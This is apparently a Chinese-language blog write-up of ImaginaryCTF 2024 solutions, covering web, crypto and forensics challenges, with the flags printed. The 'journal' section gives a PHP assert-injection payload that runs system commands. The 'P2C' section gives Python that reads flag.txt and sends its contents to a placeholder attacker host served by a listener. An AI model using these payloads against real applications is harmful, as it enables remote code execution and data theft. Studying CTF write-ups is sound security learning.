imaginaryctf 2024

Web

readme

附件dockerfile 直接给了flag
ictf{path_normalization_to_the_rescue}

journal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;

assert("strpos('$file', '..') === false") or die("Invalid file!");

if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}

echo "</p>";

$file可控,可以利用assert 构造输入rce
?file=123','a')||system('tac /f*')||strpos('aa
则语句变成
assert("strpos('123','a')||system('tac /f*')||strpos('aa', '..') === false") or die("Invalid file!");
assert会分别执行strpos('123','a')system('tac /f*')strpos('aa', '..') === false3部分获取返回值,并验证||运算后的结果是true还是false

P2C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])

file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

os.system(f"chmod 755 {file}")

try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None

os.remove(file)

return output

可以看到再执行完输入的code后才会f.write("""\nfrom parse import rgb_parse print(rgb_parse(main()))""")调用rgb_parse把结果转换为rgb
所以在转换之前可以先读取flag把flag发出去

1
2
3
4
5
6
7
8
9
10
11
import urllib.request
import os
file_path = 'flag.txt'
url = 'ip:port'
param_name = 'q'
with open(file_path, 'r') as file:
value = file.read().strip()
query_params = {param_name: value}
encoded_params = urllib.parse.urlencode(query_params)
full_url = f"{url}?{encoded_params}"
response = urllib.request.urlopen(full_url)

服务器python3 -m http.server 8888开启http服务

ictf{d1_color_picker_fr_2ce0dd3d}

crystals

打开就一个静态页面
看源码发现

把主机名设置为flag
通过触发不正常响应来获取主机名
触发404时发现一个路径

访问 /__sinatra__/404.png
可以读取文件响应码200
构造 /__sinatra__/404.png|env 触发400 Bad Request 返回了主机名

Crypto

base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import long_to_bytes

q = 64

secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

flag_int = 0
for value in reversed(secret_key):
flag_int = flag_int * q + value

flag = long_to_bytes(flag_int)

print(flag.decode())
#ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}

FORENSICS

bom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def remove_bom_and_read(filename):
with open(filename, 'rb') as f:
bom = f.read(4) # 读取前四个字节以检查 BOM
f.seek(0) # 将文件指针移动回开始位置
content = f.read().decode('utf-8', errors='ignore') # 尝试使用 UTF-8 解码

# 打印 BOM
print(f"Detected BOM: {bom}")

# 判断 BOM 并调整内容
if bom.startswith(b'\xef\xbb\xbf'): # UTF-8 BOM
content = content[3:]
elif bom.startswith(b'\xff\xfe'): # UTF-16 BOM
content = content[2:]
elif bom.startswith(b'\x00\x00\xfe\xff'): # UTF-32 BOM
content = content[4:]

return content

filename = 'chal.txt'
content = remove_bom_and_read(filename)
print(content)
###
Detected BOM: b'\xfe\xffic'
ictf{th4t_isn7_chin3se}
###

packed

改后缀为zip

ictf{ab4697882634d4aeb6f21141ea2724d0}


imaginaryctf 2024
http://example.com/2024/07/22/imaginaryctf 2024/
作者
J_0k3r
发布于
2024年7月22日
许可协议
BY J_0K3R